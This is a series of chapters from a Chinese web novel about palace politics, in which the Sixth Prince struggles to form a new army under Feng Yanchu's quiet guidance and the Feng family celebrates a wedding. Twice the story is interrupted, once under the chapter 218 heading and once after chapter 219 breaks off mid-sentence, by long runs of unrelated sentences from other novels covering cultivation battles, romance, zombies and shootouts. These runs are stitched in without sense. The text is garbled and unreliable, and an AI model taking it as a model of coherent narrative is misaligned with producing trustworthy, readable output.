曲如梅直接举荐了一人,“陛下,熊为韬英勇有加,曾在灵州为守将,且带兵有方,臣以为熊为韬最合适。”
而此时,黎大人将安王(五皇子)举荐的事情,重新拉出来说一遍,“曲大人慎言,除夕宴,西戎使臣挑衅,安王(五皇子)还说于梁才英勇呢,可结果还不是被那额尔多罗打败,要不是兵部的封大人及时出手,只怕更丢脸。”
曲如梅恶狠狠的看向对方,骂道:“休要胡言,分明是那于梁才心思叵测故意隐瞒受伤,这才落败,与安王何干?再说那于梁才已经羞愧自尽,休要拿死人说话!”那件事安王(五皇子)被皇后摆了一道。而当时他因公事不在京城,虽说事后揪出了细作,可到底偷鸡不成蚀把米,倒让武安侯的儿子得了脸。
黎大人冲着对方冷哼一声,然后朝景和帝拱手道:“陛下,臣举荐胡如新,此人自幼文武双全,而且曾在边关担任过守将。”
紧接着双方的人又是一阵吵,相互攻击谩骂,声音鼎沸,几乎要将大殿的屋顶掀翻。
景和帝听得眉头紧皱,气的猛拍桌子,骂道:“成何体统,你们都是朝中重臣,怎能犹如泼妇一般!”
众人见陛下生气,立即请罪道:“臣等有罪,请陛下降罪!”
景和帝见状道:“既然你们都各抒己见,那就先各自上奏疏举荐,到时候朕自会酌情考量,退朝!”说罢,气的甩袖离开。
“臣等恭送陛下!”诸位大臣一直等到景和帝离开,才出了大殿。
邢勉下朝回到兵部,余光正好瞟见薛郎中,对方恭敬地行礼,可他连看都没看一眼,就这么进去了。
其实薛郎中之前找过他,想让自己举荐其进新建的武备营。说实话,这是不可能的,当年薛家也曾执掌兵权,奈何倒戈向其他皇子,最后夺嫡失败,主犯被诛杀,从犯流放。
如今陛下虽对薛家已有宽宥,但绝不会轻易让对方触碰兵权,举荐薛郎中,还不如举荐封砚初呢,最起码封家当年因此爵位得以延续两代,封家先祖更是被太宗皇帝评了忠贞之名。
所以只要陛下松口,封家人想要进军队还是很容易的。否则以封家三郎的成绩,是进不了禁卫军的,最多被安排在巡城卫。禁卫军,那是亲信,信得过的人才能进去。
所有人都举荐了自己心目中的人。勤政殿的奏疏垒的都快比人还高,景和帝硬着头皮一一翻看,翻着翻着都气笑了,“这些人枉为朝臣,一个个心中怎么想的,别以为朕不知道。”
说着,指着其中一个奏疏骂道:“朕竟不知此人还有这样好的品性和能力!他不是被贬了吗?怎么还出现在举荐名录里?几年前去剿匪,都能让匪徒打的丢盔弃甲,他配吗!”
景和帝气的骂了好一会,才道:“将五皇子,曲如梅,黎文堂,六皇子,的奏疏给朕找出来。”
今日陛下心情不好,江荣海也不敢多话,听后连忙将这几人的奏疏找出来呈上。
第二百一十八章 落在谁头上了
杨浩隐约间感到老人身上散发的强横的威压,甚至比他身边的坤中还要强盛,不过他却给人一种奇异的感觉。
PS:为什么之前沐秋能才不过短短几年便到了筑基后期了?修为越是到了后面,提升便越难。沐秋之所以能够短短几年便到筑基后期,是因为她那次偶然顿悟了,便比别人省了几十年的时间。
“要么杀了我,要么让我走!”江东羽疯了,他不敢想象若四师姐死在伏四海手上,二师兄会怎么样,而他有何脸面再待在神宗。
睡了一觉之后,夏元再醒过来已经是天亮了,上午十点,部队开拔,所有的人都在帐篷里集合进行最后的战前训话。
杨浩心想叶瑶他们二人的实力可以媲美两个化神境妖蟒,他或许可以通过分身,用声东击西的方法取走火冥果。
圣卫大军骚乱起来,正打算发起进攻,忽然就看到头顶上方的那四块屏幕闪烁了几下,一道苍老而威严的身影显示在了屏幕中间。
人类讲到底就是生物,生物的第一要义是生存,在生存前面,绅士风度什么的都是扯淡。
江东羽并无前生,魂魄分两种,一种为初生魂魄,一种为转生魂魄,江东羽属于前者。
观众惊呼出声,大个子看到对手突然飞起,一下子愣住了,然后就觉双肩一沉,左右一看,肩膀上有两只脚。
而每日三餮都是冷炎亲自送的,而在沐府中,沐秋“爱夫”的名声,则是更上一层楼了。众男子无不羡慕那亲兄弟俩,而未婚的男子则暗暗在心里祈祷,将来的妻主能够有沐秋一半爱夫便好。
若是被上古母虫逃跑了,后果不堪设想!现在的人类,已经无力在抵挡一次大规模的虫子攻城了。
韩靖萱和莫翊一直在为一个星期后的婚礼做着准备,好象真的要结婚一样也好像生命真的不再端木昊再有任何的关系,韩靖萱突然感觉到无力,无力事实就是如此她和端木昊不会再有任何的可能。
他害怕自己一到了北京基地市中之后就看到四大组织中的那些异能者,更怕看到自己的亲人和朋友被四大组织中的异能者挟持。
古夙溯神色焦急,但是又不是乌云的对手,根本无法脱身,甚至有一下差点中了乌云的幻术,幸亏暮鼓及时赶来用鼓声将他催醒。
“还不都是你”如果不是她中间捣鬼,怎么会有这样的事情发生。
“说得也是。”青绿色眼睛缓缓闭上,眼角慢慢开始滑落出一颗颗绿色泪珠,泪珠在半空中汇聚成一共九十九颗珠子,飞射到路胜所化的绿球周围,开始遵循着某种阵型,围绕路胜不断旋转。
韩靖萱冲出医院后想起莫翊的那句‘你会后悔的’忍不住苦笑。莫翊我真的后悔了,只是我后悔的不是来医院我后悔没有早点认清这场没有结果的爱恋。
“头一次见这样的玉,玉体圆润通透拿在手里明明是块玉石却给人软软的触觉。”谷颜有点爱不释手,她对于古董也是颇有研究,但是这块玉她竟然看不出历史。
这两个月他一般寻找谷颜,一般担心着他的身体,但是他现在是醒了,而他却无法将谷颜给他,还有他的公司,他更是无能为力。
黑夜的森林里,原本兔子的眼睛应该是看不到什么东西的,兔子的视力其实很差,他们是天生的远视眼,而且看不到立体影像,看东西都是平面。
为何会变成这样,距离秦江来松江才多久?大半年?就能做到今天地步?
他想质问王主任是否收钱,可出于两人关系终究没说出口却气的胸口起伏不定。
就在这千钧一发之际,似乎是感应到沐毅的心中所想与此刻的危机,那块握在沐毅手中的神秘玉佩就像是一道光一般迅速的窜入了沐毅的体内,形成了一道屏障,挡在了沐毅识海的前方,任凭那妖莲怎么冲撞,都是屹然不动。
你好我好大家好完全就是扯淡,商场就是表面笑嘻嘻、内心妈卖批。
到饭点就说去吃饭,她能察觉到韩冰不怀好意、吃饭是假而是抱有其他目的。
乎在宣告自己在天鹰面前的重要性,毕竟这件事除了天鹰,也就幽若一人清楚。
“我都有点怀疑你母亲留给你的是不是传说中的长生诀。”蛟嘀咕道。
他也有点吃惊秦江能在短时间内聚集如此多的人前来,可当初他找老元让刀疤、钱赫带人来不就防着此件事。
“他还长脾气了,这家伙现在肯定还在羡慕我呢,我敢保证。”七杀瞅了一眼闭目养神的欧阳绝,继续冲他说道。
想到母亲还有这样善良的丫头惦记,温玉蔻心中涌过一丝暖意,冲淡了方才的恶毒与悲伤。
魔妖老祖见着阴阳古帝如此动作,也是一愣,但旋即又是明白了过来,身形陡然而动,转眼间便是朝着阴阳古帝虚空渡来。
这是夜云心中唯一的想法,看着夜天那呵呵大笑的样子,夜云的嘴角忍不住抽了抽,心中虽然无奈,却也只有老老实实的跟着阿尔碧斯,走向第一层的比武台前。
听着林毅的话,那噬魂也是沉吟了半刻,方才是逐渐放开了对那魔气的束缚之力。
第二百一十九章 女儿都听母亲的
之后的日子仿佛又回归于平静。
只是从前门可罗雀的六皇子府热闹了许多。众人的态度也发生了大转变,不再觉得对方是个无足轻重的皇子,变得敬重了。
而武安侯府也迎来了喜事,那就是大郎封砚开要成婚了,娶的是永定伯汪曾鸿的女儿——汪永缃。
没错,自从永定伯大娘子——吴氏,得知武安侯府与许家退亲后,就催着夫君汪曾鸿前去说相。
汪曾鸿本来不太愿意,觉得武安侯之
终于,最接近陈非凡的那只木头人先挣脱出来了,就在路双阳和陈非凡在拼力气的时候,路双阳也是暗中控制它悄悄接近他们。
敖兴初说得似很轻松,也不难猜想出他当日离开盛宁祥时,又经历了怎样一番激烈战斗。
应该说是一捕一盗的关系很微妙,或者说成复杂也可以,格格不入的两个身份却是相知相惜。
“我教你…”陆羽抓起海兰尔的手,将笛子缓缓靠在海兰尔的嘴边。
随着一声令下,从银色盾牌步兵的身后,窜出了无数黑马,马上之人都是黑裤白衫和武铮一样的打扮,甚至都有一张乌黑的脸庞,都是手提长枪,一个个哇呀涯怪叫,呔,顽匪江霸天我看你往哪里逃,武铮来也。
洞口被打开了,里外的人都激动不已。人们的欢呼声仿佛拨开了被压抑已久的绝望,那些死里逃生的人们喜极而泣,彻底释放出了心中的恐惧。
无尽光华涌动在剑身上,真元凝结下变得分外沉重,在剑的表面覆盖成一层莹白的晶体,元气汹涌汇聚,在黑色巨手出现在自己当头的前一刻,一剑刺出。
视频的标题非常吸引人的眼球“史上最不可思议的闪现躲大,史诗级操作,神级反应速度!”。
常生低头看着涌血的伤口,那出血量大得惊人,心脏的每一次苟延残喘的跳动都挤出大量的血液,像喷泉一样喷出去,溅得常生一身都是。
暗九幽凝聚出的飞行灵物,是一只黑色的鬼头,鬼头狰狞,嘴角有两颗锋利的墨黑獠牙,不过这鬼头有些虚幻,并不像江别离脚下的拳影那般凝实,这也跟实力有着很大的关系。
周子怡看见周常存最终还是将周老汉和赵氏带回来了,知道她们肯定也得到了教训了。
杨枫并没有接住她,而是从地上捡起刚刚放风劫匪手中拿的911手枪,连续打出五发,直接就带走了里面的四个劫匪。
值得一提的是,林诗颖和赵芷若、阿萌达、欧阳倩和张倩柔五个大美人自从修炼了九阴真经后,外人根本看不出她们的等级,并不象原来她们修炼几大门派的内功,内力等级一目了然。
前几天,宋粲然已经浏览过网页,对照自己的记忆,大致整理出这一年凌深公司所发生的大事。
白蓁一会儿觉得眉毛画的太细了,一会又觉得胭脂水粉擦得太厚了,一会儿又嫌弃这眼妆太浓了。
大夫人二夫人心中升起大大的疑问,望向彼此,询问彼此这到底是怎么一回事呢?
此刻,从别墅的二楼走下来一个长相清甜,一头乌黑秀发批在肩头,精致的鹅蛋脸,发育有致的身材,穿着黑色的百皱裙。
尸体飞过几米,砸入亡灵当中。被新鲜血食所吸引,亡灵们放弃了贾巴尔,投入到新的进食当中。看守的皮甲被撕裂,肚皮如同单薄的手巾,被十几支骨爪撕的粉碎,暴露底下的内脏。
冬夜的山林很寂静,既没有鸟叫,也没有虫子的叫声,如果是在夏夜,必然会有许多的叫声。
第二百二十章 大郎成婚的日子
最后当然也如了汪家的愿,整个过程十分顺利。
这日,就是大郎成婚的日子,封砚初自然也回来了,只是作为家中次子,迎客的任务就交给了他。
清晨,大郎早早便起来换上喜服。不过在接新娘之前,要先去祠堂祭告先祖,然后才是拜别父母去迎亲。
封简宁叮嘱了长子几句,便让其出了门。转头便瞅见次子还伸着头还往外头瞧,清了清嗓子道:“你还杵在这里做什么?赶紧收拾收拾,眼见着你大哥就要迎亲回来了,还不快去外头迎客。”
封砚初听了这话,震惊的看向父亲,“父亲,你要不听听自己说的是什么话?这大哥才出门,想要将嫂嫂迎回来还得一会呢,再说时辰还早呢,且不着急呢。”其实他是想逗一逗父亲,好缓解一下对方那紧张的心情。
气的封简宁骂道:“还不快去!这会子来的都是亲戚。”
封砚初无奈只能前去迎客,谁知才到门口,就碰见了安家表叔(老太太的娘家侄子)。
他立即拱手迎客,“表叔。”
安表叔哈哈笑着,解释道:“二郎啊,槐序还有些公务要处理,估计会晚到一会儿。”
封砚初自然不会在乎,毕竟安槐序不仅仅是他的表兄,还是他的顶头上司,笑着回应,“表叔说哪里话,大哥成婚不过是小事,哪里比得上朝政重要,您能来就已经很好啦,快里头请,我父亲正等着您呢。”
只能说,幸好他来了,没一会儿,客人就陆陆续续的来了。
因为三郎陪着大郎一起去迎亲了,而堂兄封砚明在里头招呼客人,还是四叔家的封砚成陪着他一起迎客。
就在这时,封砚成突然暗戳戳地用胳膊肘轻轻撞了撞封砚初,然后扬了扬头,示意朝前看,脸上挂着笑,嘴上却提示着,“你看谁来了。”
封砚初转头看去,竟然是唐承与唐景、唐显父子三人来了。说来可笑,上次长姐成婚,唐家两个舅舅都没出现,唐承也是最后一个到的,随后又提前离开。
眼见三人走近,他依旧保持着那副微笑着的样子,拱手道:“见过外祖父,大舅舅,小舅舅。”
唐承见状哈哈笑着,“哟,是二郎你迎客啊,我还以为你同大郎去迎亲了。唉,我也是上了年岁,眼神不济,方才竟没看清,以为是三郎在这里。”
大舅舅唐景也说道:“本来今日我还想让唐沐一起来的,正好你们表兄弟之间好好交流交流,谁知那小子闷头苦读。”
封砚初先回了唐承的话,“我与三郎乃是兄弟,身形相似,外祖父看错也是正常。”随后又对大舅舅道:“如今表哥知上进,也是一件好事,我这里有几篇自己以前写的策论,若表哥需要的话,改日来取。”
毕竟在门口,几人又说了三两句。封砚初这才客客气气的将人迎了进去。
而整个过程,封砚成虽然都在保持微笑,但说一句话,直到人走了以后,才低声吐槽,“不是我说,他们这变得也太快了吧,还是姻亲呢。”
紧接着客人也都渐渐来了,其中还有不少是封砚初熟识和相交的。
“哎呀,二郎,难得啊!你也能亲迎我上门。”说这话的是陈泽文。
封砚初心里翻了个白眼,拱了拱手,“感谢你能来。”
陈泽文自顾自道:“我可提前给你说好了,到时候你成婚,我可要陪你一起去迎亲的。当然了,我将来成婚你也一样。”
封砚初做了个请的姿势道:“你先进去吧。”
陈泽文有些不乐意,“你还没说请呢。”
封砚初清了清嗓子,拱手郑重道:“好,那么,请陈泽文陈大郎君先入府稍候。”
“嗯~这才像话嘛。”陈泽文说罢,笑嘻嘻的进去了。
紧接着是孙茂,他代表的是他自己,不过顺带捎来了孙延年的礼;然后是肃王世子沈在云亲自来了;最后是六皇子,他人虽未到,但礼到了。
当然了,还有谢鹤川、方大郎君、王少止主事、张望(翰林院侍读)、贺辞镜(同科榜眼)、赵怀旭(同科探花)等等。
快到午时,大郎终于将新娘从汪家迎回来,众人一起观了礼,直至宴饮结束方离开。
因为喝了不少的酒,次日,封砚初是被李妈妈摇醒的。
“二郎,今日可不能晚起,一会儿新人要拜见长辈,你也得在。”
昨日,封砚初给大郎挡了不少的酒,是醉着回来的,也未曾洗漱直接就躺下了。
此刻,他只觉得味道难闻,皱眉嫌弃不已:“快让人备水,我要沐浴。”一番收拾之后,这才去了正堂。
话说,昨日一通忙乱。因为要拜见舅姑,汪永缃早就起来了,她很紧张。
大郎也看出来了,还安抚道:“不用太紧张,父亲和母亲十分慈爱,兄弟姊妹们也很友善,你只需平常心对待即可。”
这话跟没说一样,汪永缃依旧紧张,不过还是笑了笑以示回应。
当她踏入正堂,只见高堂之上坐着一男一女。武安侯面容严肃,让人心里不由‘咯噔’一下;旁边大娘子看起来倒是慈眉善目。
两边依照顺序坐着的应该就是几个兄弟姊妹。但奇怪的是,这里头算着大郎在内,只有兄弟三个,明显少一人,她没敢细问。
上前敬茶,“儿媳给父亲敬茶。”
封简宁端起茶抿了一口,随后给了一个红封。
“儿媳给母亲敬茶。”
大娘子亦端起茶杯饮了一口,并未多说其他,也给了红封。然后指着一旁的封砚敏道:“这是你大姐姐。”
汪永缃赶紧行礼道:“见过大姐姐。”
封砚敏笑得很柔和,上前将人扶住,“弟妹,我也不知你爱什么,便送你一副步摇插戴,以后若是闲了,你也可以来与我说说话。”
“谢大姐姐。”
大娘子看向其余几个孩子道:“还不快给你们嫂嫂见礼。”
封砚初几人与汪永缃见了礼,对方也一一赠礼。
第二百二十一章 撞了南墙,来取经
六皇子最近因为组建靖安武备营,弄的是心力交瘁。百官仿佛都在为难他,面上带着笑,嘴上十分客气。可一到实际之处,不是这里不行,就是那里不妥。
好容易从户部将钱要来,可到兵部这里竟然卡着了,工部那里也有问题。总之,没有一件事情是顺利的。
话说,封砚初参加完大哥的婚宴之后,依旧回了‘枕松闲居’。
当天晚上,才躺下,就听见院子里有动静。他并未点灯,而是迅速提起长枪就出了屋子,只见暮山已经持刀挥向来人。
直到那人出声喊道:“是我!”
封砚初听后立即挥手叫停,“暮山,住手!”
暮山这才收了刀立在一旁,但戒心丝毫未放下,警惕地看向来人,时刻准备拔刀。
“你怎么在这个时间来了?还是以这种方式?”封砚初皱眉看去。
来人声音闷闷地,听不出情绪,“我以为你知道原因。”
封砚初长叹一口气,“进来吧!”随后看向暮山,“你在屋外守着,不许任何人靠近!”
“是!”
他摸黑进了屋子,从熟悉的地方拿起火折子,吹亮火苗,将烛火点燃。随后径直坐下,又为对方倒了一杯冷茶,“坐吧。”
来人坐在对面,先是接过冷茶,然后揭开面具,猛地一饮而尽,而面具下面赫然露出一张熟悉的脸。
封砚初并未起身行礼,像是对待寻常人一般,说道:“我以为你最近忙着,没时间来才对。”
那人冷笑一声,脸上尽是嘲讽之色,“我吗?哧哧哧……”说到最后压低声音,竟发出阵阵的笑。
封砚初见对方如此模样,重新为他倒了一杯茶递过去,“六殿下,我以为你早该见惯了才是。”
六皇子这一杯才喝的不像上杯那般急,仅浅饮一口而已,“二郎,父皇绕过那些朝臣,任命我为靖安武备营指挥使,可军营还未组建就阻力重重,全都在阳奉阴违,丝毫未将皇命放在眼里。”
“父皇让我朝吉大人请教,我以为不过是一些组建的经验而已,可没想到并不是,如今就连吉大人也对我说一些冠冕堂皇的话!二郎,他不是父皇的亲信吗?你告诉我,为什么?难道他怕了?”他说到最后越来越激动。
“殿下,吉家是忠于皇权,但也不会为了皇权站在所有朝臣的对立面。”封砚初看向六皇子的目光很锐利,似乎要刻在人心里一般。
六皇子咽了咽唾沫,同样盯着对方,“是你当初告诉我,不争是争,老五和老九已经封王,我是有机会的!”
“没错啊,陛下已经在考验你了。若你能通过此次考验,今后不出意外,未来东宫有你一席之地。若你未能通过考验,败了,只怕再也无望储位。”说完这话,封砚初就这静静坐着看向对方。
六皇子扶着额头,闭了闭眼睛,然后才道:“父皇是想看一看,我有没有能力与这百官斗上一斗。”
“如今的朝堂,看似分成了安王(五皇子),庄王(九皇子),陛下三派,而朝中仿佛是两位皇子之间的争斗,实则不过是背后的世家以及官员在斗。陛下为何要绕过百官?为何朝堂之上,首辅申大人闭口不言?如今兵部的邢大人,工部的刘大人都在为难你?”封砚初继续看着六皇子说道。
昏暗的烛火之下,六皇子眼睛里也透着不解之色。工部尚书也就罢了,明明申大人和邢大人是父皇的人,可这些人要么闭口不言,要么暗中使绊子。
过了好一会儿,他想明白了,瞪大眼睛道:“他们虽然不愿意让老五和老九身后的人得了,但更不想让皇室得到!”
随后呐呐着,“毕竟父亲已经处置了一批人,国库也罢,私库也好,都充盈了,若是兵权进一步增加,这是所有官员都不想看到的。”
说到这里冷笑不已,“可笑我之前还在疑惑,肃王叔一向以父皇马首是瞻,也受父皇信任,为何不让王叔接任靖安武备营?呵呵……因为王叔早就看明白了,根本不会接,对吗?”他说完之后,看向对面之人。
封砚初并未回复,而是端起冷茶饮了一口,真是透心凉啊!
“果然如此?原来边关战事渐少,用不着养那么多兵,不过是那些人以缩减开支为借口,想压缩皇权,借此达到控制的目的。”此时此刻,六皇子眉峰陡然压低,眸中像是燃起两簇冷焰,几乎要凝出寒霜来。
他从封砚初这里学到不少。先是看见了百姓的苦难,回京入了朝堂之后,又让他见识到朝堂之上的污浊。显得他们几个兄弟之间的斗争,不过是前头的皮影,做什么动作确是任由幕后之人说了算。
而他面对那些老辣的官员,就像是才闯进去新兵,太过稚嫩、毫无经验,“那我现在该怎么办?”
封砚初淡然一笑,眼中是一片坦诚之色,“邢大人独子早亡,倒是有几个孙子,奈何能力平平,否则也不会至今都没混出什么名堂,副指挥使一职不是还空着吗?您觉得呢?”
“妥协吗?”六皇子有些犹豫。
“不,不是妥协,而是给他们一种错误的暗示,以为你妥协了。毕竟若无人配合,寸步难行,还是要先解决眼下的困境。”封砚初不紧不慢地说着,仿佛对他来说,这些都不是个事。
“如此也好,到时候我私底下朝父皇禀明即可。”言及此处,六皇子竟起身行了一礼,“受教。”
封砚初也连忙起身回礼道:“臣不敢当。”
“二郎,今日多谢了,因我之事,竟扰了你这么久。”六皇子解释着,“你我虽私交不错,但以我目前的情况,肯定有不少人盯着,白日里不方便过来。”
“多谢殿下,臣理解。”封砚初再次拱手行礼。
直至对方离开,他的嘴角才扯出一抹浅笑。
前几日,六皇子府门庭若市,实则不过是大家为了一探虚实而已,如今撞了南墙,自然要来取经。
第二百二十二章 他不想与我为难
次日,六皇子就亲自去勤政殿递了奏书,没人听见里头说了什么。只知道,他刚出宫门,陛下就任命邢重归——邢大郎君,为靖安武备营副指挥使。
当这个旨意一出,六皇子办事虽然还有阻力,但比之前已经好太多了。最起码在其余人眼中,这就代表着他妥协了。
邢勉回家之后,就见长孙邢重归兴冲冲的来了,脸上满是惊喜之色,“祖父,陛下任命孙儿为靖安武备营副指挥使!”
他看着孙儿的神色,问道:“你很高兴?”
邢重归兴奋的点头,“那是自然高兴,难道祖父不高兴吗?”
邢勉叹道:“祖父并不是那么高兴。”
“为何?”其实邢重归的武艺还是不错的。奈何官场复杂,而他一向思想简单,这也就是为何邢勉从未扶持的原因,而他也一直在底层武职上打转。
邢勉并未隐瞒孙儿,“其实陛下任命六殿下为指挥使,组建靖安武备营,祖父心中对此无所谓。”
“那您为何为难他?”邢重归更加不理解祖父为何对此一举。
“那是因为有人想让祖父这么做。”邢勉认真为孙儿解释着,“这些年祖父驻守边关,若没有这些人的帮忙,是撑不下去的。祖父既然承了情,自然有的时候也不得不被掣肘。”
邢重归听见这话,顿时眉头就皱起来了,“既如此,那这副指挥使一职,孙儿不做了!”
“又说孩子话?这副指挥使一职你继续担任,不过事事都要以六殿下为主,听见了吗?”邢勉知道孙儿若是在战场上,是一个勇猛的前锋,但独子已经战死沙场,他如何舍得让孙儿冒险!
这几个孙儿有的纨绔,有的武艺寻常,只有长孙非常勇武,可对方应付不来那复杂的官场。所以在邢勉心中,也不求他们能光耀门楣,如此平平安安一辈子就好。
此刻,黎大人的心情并不好。刚回到家里,迎面就撞上一向听话的儿子,他还是没忍住将对方骂了一顿。
黎大郎小心翼翼道:“父亲,可是儿子哪里做的不对?”
黎大人知道对方并未做错什么,只是心里有气罢了,叹气道:“六皇子举荐了邢勉的长孙为靖安武备营副指挥使!”
“这代表什么呢?”黎大郎依旧不解。
“这代表着我们败了!”黎大人早已不是原先那副胸有成竹的模样,别看他在朝上与曲如梅打的死去活来。但实际上,两人最不愿意看到的就是这个结果。
“可五皇子也没赢啊,再说六皇子之前一直不愿意,这次八成是被闹得没办法,勉强举荐,心里未必同意。”黎大郎不说这个还好,一说这话就挨了父亲两下。
黎大人骂道:“他如何想的不重要,重要的是他放出了信号,之后自然有人愿意往他身边聚,来日无论是五皇子亦或是九皇子登基,六皇子的位置便轻易动不得。”
“难道不能削职?到时候还不是一句话的事?”黎大郎思想没转过弯来。
黎大人又是‘邦邦’两下,“到时候,整个沈氏皇族都不会愿意。别看今日互相瞧不顺眼,来日一旦登基,只要拉拢六皇子支持,那个位置上的人就会脱离掌控!还不明白吗?”
黎大郎害怕再挨打,连忙点头,“明白了,明白了。”只是这眼神中依旧带着一点疑惑未解,但到底没敢问。
黎大人却眉头紧皱,心中思量着:前两日还硬挺着,今日就出现变化,到底谁教的呢?难道是六皇子自己想通的?
思及此处,不禁警惕起来,如果真的是六皇子自己想通的,万一对方也起了夺嫡之心,若再发展起来,那可是一大劲敌啊!
话说,当邢重归担任副指挥使以后,每日上职倒是很勤快,也时常往六皇子府跑。只是难免有些一拨一转,不拨不转的意思。
渐渐的,六皇子也品出意思来,还特意将人叫到跟前。
“邢重归,你是副指挥使。如今靖安武备营初建,诸事繁杂,你也要担起肩上的职责,实在不用总问我。”六皇子说话的语气很温和。
邢重归摸摸脑袋,不好意思道:“殿下恕罪,臣之前从来没当过这么大的官,好些地方都不懂。祖父说了,让臣不要不懂装懂瞎指挥,遇事多问一问殿下。”
六皇子有些不相信,反问对方,“哦?邢大人真这么跟你说的?”
其实通过这段时日的相处,邢重归觉得六殿下人还不错,渐渐的,失去了防范之心。
于是点头认真道:“那是当然。其实之前殿下组建靖安武备营,祖父本来没想为难,奈何身不由己,不过好在如今事情已经顺利解决了。”
六皇子没想到邢重归连这话都说了,见状拍着对方的肩膀道:“今后你有不懂的可以随时来问,我若有不清楚的也会向你请教。不过我瞧着你武功不错,正好新招来的人武艺参差不齐,你帮忙训练训练,可好?”
邢重归听了这话,愈发觉得六皇子这是拿他当自己人,拱手郑重道:“请殿下放心,臣必定好好训练,到时候让咱们靖安武备营的人,不输于京西武备营!”
“好,那你先下去准备准备。”六皇子鼓励道。
“臣告退。”邢重归昂首挺胸的走了,而六皇子见此却笑了起来。
李延不解地问道:“殿下有开心的事?”
六皇子轻轻‘嗯’了一声,然后说道:“自然,难道你没察觉吗?邢勉这是借着他孙儿的口,告诉我,他不想与我为难,只是有人不允许罢了。”说到这里,他眼睛微眯,不禁想起封砚初说过的话。
第二百二十三章 我待在京城也无聊
肃王府。
世子沈在云正在自己院里晾晒药材。肃王妃刚进院子,见此一幕,眉心不由轻皱,随即用帕子掩着鼻子,语气中带着一丝不快,“你如今是肃王世子,这些事情交给下人去做就可以了。”
对于母妃的到来,沈在云并未立即上前迎接,只远远的行了礼。
他神色淡淡的,依旧重新整理着手上的药材,声音也透出几分清冷,“母妃来这里做什么?”
肃王妃想起此行的主要目的,换成一副笑脸,“你现在身体已经康复,也从药谷回来了,算是学成归来。我只你一个儿子,自然希望你好,所谓成家立业,还是先把婚成了才好。”
她一看到儿子不想着入朝,只摆弄这些药材,就气不顺。奈何儿子这么多年来一直待在药谷,两人之间并不如寻常母子那般亲近,所以她只能旁敲侧击。
上次她想让儿子娶娘家侄女为妻,就连王爷已经同意,没想到在儿子这里卡住了。才提出来,对方就来了一句,“母妃,儿子自幼体弱,长在药谷,终日以这些药材为伍,也算是有些本领,如何让一个人无声无息的死掉,还是很容易的。”
当时听了这话,她就吓了一大跳,没想到儿子接下来还有一句,“母妃放心,御医们是查不出来的。”这话一出,她顿时放弃强来,只能软化态度,慢慢说服。
“府中那么多事,母妃很闲吗?”沈在云终于抬起头看向肃王妃。
肃王妃嘴角扯出一抹尴尬的笑,“你这个做兄长的不成婚,可这后头的弟弟们还等着呢?总要为旁人着想。”
沈在云不再看向母妃,继续低头做着自己的事,“他们若是想成婚,成就好了,我又没拦着不让。你也别说什么长幼有序,我在药谷长大,恣意惯了的,一向不喜被这些乱七八糟的事情束缚。”
肃王妃气的心口疼,自从儿子身体康复,她是左也盼,右也盼。更是没想到仅一封信就将人叫回来,她本来已经做好长期的打算,没想到竟然回来了,本来还高兴呢,合着是回来气自己的。但她也不敢说重话,万一再回去可怎么办?
“那你说,你到底想干什么?这婚不想成,让你入朝你也不愿意。”
沈在云轻叹一声,说道:“我以前提过的,我想开一家医馆,是你们不同意。”
肃王妃声音忍不住高了几分,“你堂堂肃王世子,皇室宗亲,怎能在医院里当一个坐堂大夫,去给那些平民百姓诊脉?你让旁人怎么看你?”她担心对方后面说出什么话来,又补充了一句,“呃……怎么看你父王?”
沈在云终于停下来,倒了一盏甘草水,递给肃王妃,“母妃,炎炎夏日,喝些吧。甘草有补脾益气,清热解毒的功效。”
肃王妃连接都没接,连连摆手道:“一股子怪味,我不喝!”
沈在云只能收回了手,自己喝起来,这也就是他为什么只倒一杯的原因。现下六皇子已经回京,任了靖安武备营指挥使,虽说是初建,但目前都在顺利进行着。再说自己之前进京,也不过是因为对方离京游历,他要帮忙看着一些。
现在自己在京中待的实在无趣。那封砚初倒是会些医术,可以交谈上几句,奈何对方实在太忙,思及此处,便道:“母妃,反正我待在京城也无聊,不如就让我回药谷吧?”毕竟有求于人,他语气都温和了不少。
“什么?你想都不要想!”肃王妃刚说完这话,就意识到自己语气不好,立即软了几分,抹着眼泪,“你好狠的心,幼时体弱,不得已将你送去药谷,如今好容易才回来,还未满一年就想着离开,你可想过我?”
沈在云正欲张口,就听见一个声音传来,“休要胡说!你已经回京,就好好待着!”原来是肃王来了,他恰好听见这话。
见父王来了,沈在云行了礼,然后倒了一盏甘草水递过去。
肃王接过浅尝了一口,觉得还不错,想到来这儿的原因,清了清嗓子,“陛下招你进宫。”见儿子的穿着,内心嫌弃不已,终究只说了句,“你收拾收拾。”
随即环视四周,皱眉道:“你愿意摆布这些东西就摆布,为父也不拦你,但也不必自己上手,让下人来就可以了。”说完甩袖离开,不得不说肃王与肃王妃不愧是两口子,说的话都一模一样。
肃王妃却像是得了尚方宝剑一般,“瞧,陛下也需要你呢,你怎好轻易离京?若真想看诊,府里这么多下人,谁没个头疼脑热的,他们还不够你瞧的?听你父王的,收拾收拾,赶紧进宫去吧!”说完这话,乐呵呵的走了。
勤政殿内。
景和帝总觉得这几日胸中不畅快,可御医诊来诊去,都说是他疲劳过度,多休息休息就好了。
他不信任那些御医。肃王的儿子体弱,之前在药谷养病,学了一身的医术,便想着宣其进来给他瞧一瞧。
无论那些御医的话是真是假,再加上老六表现不错,他难得有心情休息休息。
没一会儿,江荣海就进来禀报,“陛下,肃王世子来了。”
“嗯,让他进来吧。”景和帝说这话时,正盘坐在榻上,旁边的矮桌之上还放着当季的新鲜水果,以及一些冰凉的饮子。
沈在云什么都没带,进入大殿之后,行礼道:“肃王世子沈在云,参见陛下。”
景和帝抬手道:“起身吧。”然后指着自己对面的位置,“过来坐,陪朕说说话。”
“是。”沈在云并不认为景和帝找他来,专门是为了说话的。不过,他还是听话的坐在对面。
第二百二十四章 不想辜负这一身医术
景和帝看着面前的侄子,就不由得想起弟弟的吐槽。说什么整日在家里摆弄药材,甚至还想在京城开一家医馆。
思及此处,便问道:“朕听你父王说,你想开一家医馆?”
沈在云点头道:“是啊,侄儿自幼体弱,在药谷长大。虽然未拜师,但也学了一身的医术,既然有此能力,自然想开家医馆为百姓诊治,尽点力所能及之事,也不至于白白可惜这一身的医术。”
景和帝听后略作沉吟,像是拉家常一般,“你父王所虑也属正常,但你有这想法也没错,身为皇室宗亲能惦记百姓,这是好事。你既有此心,如此,皇伯父便同意了。只一点,今后老老实实的待在京城,不许再说回药谷的话了,毕竟你父王也渐渐上了年岁,少让他操些心。”
表情一直很寡淡的沈在云,听了这话,双眼瞬间发亮,立即起身行礼致谢,“侄儿,多谢皇伯父成全!”
